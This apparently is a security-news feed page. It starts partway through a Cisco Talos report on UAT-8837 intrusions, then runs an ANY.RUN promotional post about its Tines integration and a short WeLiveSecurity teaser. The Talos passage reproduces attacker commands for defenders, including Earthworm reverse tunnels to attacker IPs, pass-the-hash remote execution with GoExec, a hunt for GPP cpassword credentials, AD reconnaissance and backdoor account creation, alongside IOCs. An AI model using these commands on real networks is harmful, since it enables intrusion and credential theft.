REG ADD HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

A shell console may subsequently be opened via “cmd.exe” to conduct hands-on keyboard activity on the compromised endpoint. Multiple artifacts are then downloaded to the following directories which were extensively used for staging artifacts:

C:Users<user>Desktop
C:windowstemp
C:windowspublicmusic

UAT-8837 tool usage

UAT-8837 may use a variety of tooling throughout the course of an intrusion. This variation in tooling may be because many of these tools are detected and blocked by most security products such as Cisco Secure Endpoint (CSE) which often leads the threat actor to cycle through different variants of the tools to find versions that are not detected.

GoTokenTheft

The GoTokenTheft utility is a tool for stealing access tokens. Written in GoLang and deployed at C:Users<user>Desktopgo.exe, it may be used to steal tokens to run commands with elevated privileges:

eee.ico REG ADD HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

Earthworm

Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure. UAT-8837 deploys multiple versions of Earthworm to determine which are not detectable by endpoint protection products. The undetected version is then used to create a reverse tunnel to attacker-controlled servers, as seen in the commands below:

C:WindowsTempv.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433
  
C:userspublicvideosverr.ico -s rssocks -d 172.188.162.183 -e 443
  
C:WindowsTempeir.ico  -p 8888 -t 172[.]188[.]162[.]183 -f 11112
  
cisos.ico -s rssocks -d 172[.]188[.]162[.]183 –e80
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 443
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 447
  
abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448
  
C:userspublicmusicaa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443
  
C:UserspublicMusictwd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443

DWAgent

UAT-8837 deploys DWAgent, a remote administration tool, to make it easier to access the compromised endpoint and drop additional malware to the system:

C:Users\Downloadsdwagent.exe
 
C:Users\AppDataLocalTempdwagent20250909101732runtimedwagent.exe -S -m installer

SharpHound

Per Talos’ observations, UAT-8837 downloads SharpHound with the intention to collect Active Directory information:

C:WindowsTempSharpHound.exe

Impacket

UAT-8837 makes several attempts to download Impacket-based binaries to use in their operations:

C:WindowsTempwec.ico

When Impacket is detected and blocked, Invoke-WMIExec is downloaded to run commands with elevated privileges:

C:WindowsTempInvoke-WMIExec.ps1

GoExec

In one intrusion, after cycling through a number of tools, UAT-8837 deployed GoExec, a GoLang-based remote execution tool to execute commands on other connected remote endpoints within the victim’s network:

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /all' -o-
 
C:WindowsTempgoe.exe wmi proc 10[.]xx[.]xx[.]xx 
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o 1.txt
 
g.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C ipconfig -o-
g.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o-

It is worth noting here that the usage of GoExec was likely an on-the-fly decision by the operator, necessitated by the constant detection and blocking of the threat actors tooling by CSE.

The threat actor also attempted to download and execute SharpWMI in the compromised environment, which was again detected by CSE:

C:WindowsTemps.ico

Rubeus

Rubeus, a C# based toolset for Kerberos abuse may also be deployed:

  • C:WindowsTempr.ico
  • C:WindowsTemplo.txt

Certipy

UAT-8837 also deploys Certipy, a tool for AD discovery and abuse, to:

C:WindowsTempCertipy.exe

Hands-on-keyboard activity

UAT-8837 may run a series of commands during the intrusion to obtain sensitive information, such as credentials from victim organizations:

findstr /S /l cpassword [\]policies*.xml

 The system’s security configuration is also exported using secedit:

secedit /export /cfg C:windowstemppol.txt

 Windows Local security policies extracted via secedit include password policies, user rights and audit settings. This information may be valuable to adversaries who seek to evaluate an endpoint’s security posture including network security settings.

In one victim organization, UAT-8837 exfiltrated DLL-based shared libraries related to the victim’s products, raising the possibility that these libraries may be trojanized in the future. This creates opportunities for supply chain compromises and reverse engineering to find vulnerabilities in those products.

Domain reconnaissance

The net commands typically used to query domain groups and users are:

net group domain admins /domain

net localgroup administrators /domain

net group <name> /domain
 
net user <user> <password> /domain

net user <user> /domain

net accounts /domain

net user <user> /domain
 
nltest /DCLIST:<domain>

nslookup <subdomina>.<domain>

 The setspn command is used to list and query Service Principal Names (SPN) data from Active Directory:

setspn -L 

setspn -Q */*

Active Directory reconnaissance

UAT-8837 deploys a combination of tools to perform AD reconnaissance in the compromised environment. These tools include SharpHound and Certipy. The threat actor also uses the Windows-native tool “setspn” to query for AD data. However, UAT-8837 also brings their own living-off-the-land (LOTL) tooling. In one intrusion, the actor deployed dsget and dsquery to query for specific properties in the AD:

dsquery.exe user -limit 0 
  
dsquery.exe user -name <name>
  
dsget user -samid -display -email -upn
  
dsget.exe user -samid -display -email -upn
  
dsquery.exe user -samid <id> 
  
dsget.exe user -display -email -upn
  
dsquery.exe user -name admin
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -samid -display -email -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –memberof
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –disabled
  
dsquery * DC=prod,DC=<domain>,DC=com -filter (objectClass=user) -attr * -limit 0

Backdoored user accounts

The threat actor created user accounts to open up another channel of access to the compromised environment:

net user <user> <password> /add /domain

In another instance, UAT-8837 added an existing user account to local groups:

net user <user>
  
net localgroup <group> <user> /add

Coverage

The following ClamAV signature detects and blocks this threat:

  • Win.Malware.Earthworm

The following Snort Rules (SIDs) detect and block this threat:

  • Snort 2 – 61883, 61884, 63727, 63728
  • Snort 3 – 300585, 63727, 63728

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft
451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm
B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm
Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm
4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm
 
891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound
6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket
887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec
4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec
1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI
51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus
2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus
E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy
 
B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb
42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3
6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d
4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295
BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8
1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700
d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c
194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794
74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3
Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31
8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a
5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd
8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c
De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7
4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98
 
74[.]176[.]166[.]174
20[.]200[.]129[.]75
172[.]188[.]162[.]183
4[.]144[.]1[.]47
103[.]235[.]46[.]102

Cisco Talos Blog – ​Read More

ANY.RUN & Tines: Scale SOC and Meet SLAs with Powerful Automation 

In busy SOC environments, every minute spent waiting for threat validation slows containment and impacts response metrics. The ANY.RUN integration with Tines delivers trusted verdicts and enriched context in seconds to cut mean time to respond (MTTR) and keep investigations flowing without delays. 

ANY.RUN X Tines Integration: Faster Triage with Behavior-Driven Context 

The new integration lets your SOC team pull actionable verdicts and intel from Interactive Sandbox and Threat Intelligence Lookup straight into the Tines workflows you already use. Instead of jumping between different tabs to confirm behavior or collect indicators, analysts can validate alerts, prioritize critical events, and enrich incidents with behavioral intelligence without leaving the Tines interface. 

It is available to all ANY.RUN customers with API access, including Enterprise SandboxTI Lookup Premium, and trial users. You can run everything through the Tines visual interface or make direct API calls if you prefer more flexibility. 

The goal is simple: bring fast detonation results and fresh intelligence right into your workflow, so investigations keep moving without extra steps slowing you down. 

Tines story automating URL analysis with ANY.RUN 

The Difference You’ll See in Your SOC 

The integration affects several parts of the investigation workflow, improving both speed and decision quality: 

  • Reduce mean time to respond (MTTR): Automate detonation and enrichment, so analysts get verdicts and IOCs within minutes, shortening investigation cycles and resolution times across the SOC. 
  • Improve triage accuracy and cut false positives: Behavioral verification from ANY.RUN delivers ground truth for detections, helping the team focus on real threats and reduce wasted effort. 
  • Handle more incidents without adding headcount: Routine analysis and enrichment run automatically in Tines, maintaining coverage during alert spikes while freeing analysts for complex cases. 
  • Meet SLAs consistently as an MSSP: Automated sandboxing and enrichment help MSSPs deliver fast, quality services, and scale response capacity without extra integration overhead.  

Combined, these improvements shorten detection‑to‑mitigation time from hours to minutes, lower analyst workload, and boost SOC throughput

Speed up investigations inside Tines with ANY.RUN
Scale response without adding headcount



Contact us 


Interactive Malware Sandbox in Tines 

ANY.RUN’s Interactive Sandbox integration with Tines brings live, behavior‑based malware analysis into your Tines workflows. Instead of relying on static detections or manual uploads, you get real‑time verdicts, IOCs, and behavioral data in the same environment that runs your automation. 

Capabilities 

  • Submit suspicious files or URLs from any Tines story for automatic detonation and observation. 
  • Retrieve verdicts, IOCs, and full HTML reports as structured outputs. 
  • Reuse sandbox results across workflows or forward them to SIEM/EDR platforms through API actions. 
ANY.RUN sandbox verdict for a URL shown in Tines, including malicious activity detection and extracted IOCs 

Example: Suspicious email attachments can be automatically sent for sandbox analysis. The resulting verdict and IOCs flow back to Tines, which then updates your SIEM or blocks the relevant indicators. 

Benefits 

  • Faster validation: Confirm if a file or link is malicious before escalation. 
  • Consistent triage: Every sample is processed with the same standard, eliminating delays or missed steps. 
  • Actionable context: Behavioral data and network activity indicators feed directly into response actions. 

Threat Intelligence Lookup in Tines 

ANY.RUN’s Threat Intelligence Lookup integration with Tines adds context‑rich intelligence to automated processes. Each time a new IP, domain, or hash appears, you can check it against ANY.RUN’s continuously updated database of recent malware activity to enrich your decisions. 

Capabilities 

  • Automatically perform lookups for IOCs inside any Tines story. 
  • Retrieve brief overviews or full JSON data with reputation, threat family, and activity history. 
  • Combine Lookup results with internal data sources to refine correlation and playbook logic. 
TI Lookup results returned inside a Tines story, showing verdict, threat level, and IOC details 

Example: When a newly observed IOC triggers an alert, Tines can automatically query TI Lookup for reputation data and campaign context, helping analysts decide whether to escalate or suppress the event. 

Benefits 

  • Higher detection fidelity: Real‑world sandbox intelligence helps distinguish live threats from noise. 
  • Smarter prioritization: Know which IOCs are still active and which are already dormant. 
  • Efficient workflow chaining: Lookup results are ready to power next‑step actions like blocking, reporting, or case validation. 

Strengthen triage with IOC intelligence 

Retrieve fresh data from ANY.RUN for every alert



Contact us 


How You Can Get Started in Minutes 

ANY.RUN’s integration with Tines includes ready‑to‑use example stories for file analysis, URL analysis, and TI Lookup queries.  

You can install it and start testing in just a few minutes, with no complex setup or custom scripting required. 

About ANY.RUN 

ANY.RUN helps security teams understand threats faster and take action with confidence.  

The solution is trusted by over 500,000 security professionals and more than 15,000 organizations across sectors where speed and accuracy define successful response. 

ANY.RUN’s Interactive Sandbox lets teams safely run suspicious files and links, watch real behavior unfold, and confirm threats before they spread. Paired with Threat Intelligence Lookup and Threat Intelligence Feeds, it delivers the context needed to sort alerts, cut uncertainty, and stop advanced attacks earlier in the response cycle. 

Reuqest a 2-week ANY.RUN trial → 

FAQ 

What problems does the ANY.RUN × Tines integration solve? 

It removes the need to switch between tools to validate alerts. Sandbox results and TI Lookup context arrive directly inside your Tines stories, helping your team move investigations forward without stopping for manual checks. 

What does ANY.RUN return to Tines after analysis?

You get verdicts, behavior summaries, IOCs, network activity, risk scores, and optional full HTML reports; all as structured outputs that Tines can use in later steps. 

How fast do results come back?

Most verdicts return within minutes. ANY.RUN reveals the majority of malicious behavior in the first 60 seconds, so playbooks don’t stall waiting for enrichment. 

Is the integration available for trial users? 

Yes. Anyone with ANY.RUN API access, including trial users, can use the integration. 

Will sandbox detonations slow down my playbooks? 

No. Detonations run in parallel on ANY.RUN’s side, and Tines continues the story when the result is ready. Most verdicts return within minutes. 

Can I use the output to update SIEM or EDR tools? 

Yes. Tines can pass ANY.RUN results to your existing systems as part of automated response actions. 

Does the integration support high-volume alerting? 

Yes. It’s built to run reliably during spikes, so routine detonations and lookups continue without interruption. 

Can I create custom workflows with the integration? 

Absolutely. The prebuilt stories are only a starting point; you can adapt them to match your escalation rules, correlation logic, or existing playbooks. 

The post ANY.RUN & Tines: Scale SOC and Meet SLAs with Powerful Automation  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Is it time for internet services to adopt identity verification?

Should verified identities become the standard online? Australia’s social media ban for under-16s shows why the question matters.

WeLiveSecurity – ​Read More